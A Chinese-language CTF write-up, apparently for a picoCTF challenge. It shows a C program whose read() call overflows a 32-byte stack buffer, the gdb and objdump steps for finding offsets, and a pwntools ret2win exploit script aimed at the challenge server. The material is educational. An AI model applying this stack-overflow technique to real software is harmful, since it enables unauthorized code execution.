原始碼
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void win() {
FILE *fp = fopen("flag.txt", "rb");
if (!fp) {
perror("[!] Failed to open flag.txt");
return;
}
char buffer[128];
size_t n = fread(buffer, 1, sizeof(buffer), fp);
fwrite(buffer, 1, n, stdout);
fflush(stdout);
printf("\n");
fclose(fp);
}
int main() {
char buf[32];
printf("Welcome to the secure echo service!\n");
printf("Please enter your name: ");
fflush(stdout);
read(0, buf, 128);
printf("Hello, %s\n", buf);
printf("Thank you for using our service.\n");
return 0;
}
解題
解題思路
利用read(0, buf, 128)的oevrflow 跳到win function 取得flag
確認檔案類型
file vuln

確認保護機制
checksec --file=vuln

尋找需要的資訊
尋找win function 位置
objdump -M intel -d vuln|grep -A 30 "<win>"

0000000000401256 <win>:
尋找overflow所需位置並計算overflow大小
gdb ./vuln
b main
run

0x7fffffffe080 ◂— 0xa61616161 /* 'aaaa\n' */
0x7fffffffe0a8 —▸ 0x7ffff7dd7ca8 (__libc_start_call_main+120)
計算所需大小
offset=0x7fffffffe0a8-0x7fffffffe080
因為是直接跳過去,不是用call的方式,所以要多補一個ret,尋找ret位置
gdb ./vuln
b main
run

0x401373 <main+120> ret
實際payload
from pwn import *
context.arch = 'amd64'
if '--remote' in sys.argv:
p = remote('mysterious-sea.picoctf.net', 59748)
else:
p = process("./vuln")
'''
0000000000401256 <win>:
40125b
0x7fffffffe080 ◂— 0xa61616161 /* 'aaaa\n' */
0x7fffffffe0a8 —▸ 0x7ffff7dd7ca8 (__libc_start_call_main+120)
0x401373 <main+120> ret
'''
offset=0x7fffffffe0a8-0x7fffffffe080
win=0x401256
ret=0x401373
playlaod=flat(
b'a'*offset,
ret,
win
)
p.recvline()
p.sendlineafter(b'name:',playlaod)
p.interactive()
p.close()

flag



說些什麼吧!